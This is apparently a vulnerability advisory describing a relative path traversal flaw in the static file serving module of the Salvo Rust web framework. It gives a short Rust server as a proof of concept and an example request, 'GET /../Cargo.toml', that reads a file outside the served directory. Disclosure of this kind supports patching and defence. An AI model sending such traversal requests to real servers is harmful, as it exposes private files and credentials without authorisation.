Description

There is a relative path traversal vulnerability in the serve module of the extra crate. An attacker can simply request a relative path and access files outside of the configured directory root.

Proof of Concept

With a static folder in the project directory:

// main.rs
use salvo::extra::serve::{Options, StaticDir};
use salvo::prelude::*;

#[tokio::main]
async fn main() {
    let router = Router::with_path("<**path>")
        .get(StaticDir::width_options(vec!["static"], Options::default()));

    Server::new(TcpListener::bind("0.0.0.0:7878"))
        .serve(router)
        .await;
}

Example attack request:

GET /../Cargo.toml HTTP/1.1
Host: localhost

This serves the Cargo.toml file in the project directory, which is outside the static directory.

Impact

This vulnerability is capable of accessing any file on a server running Salvo.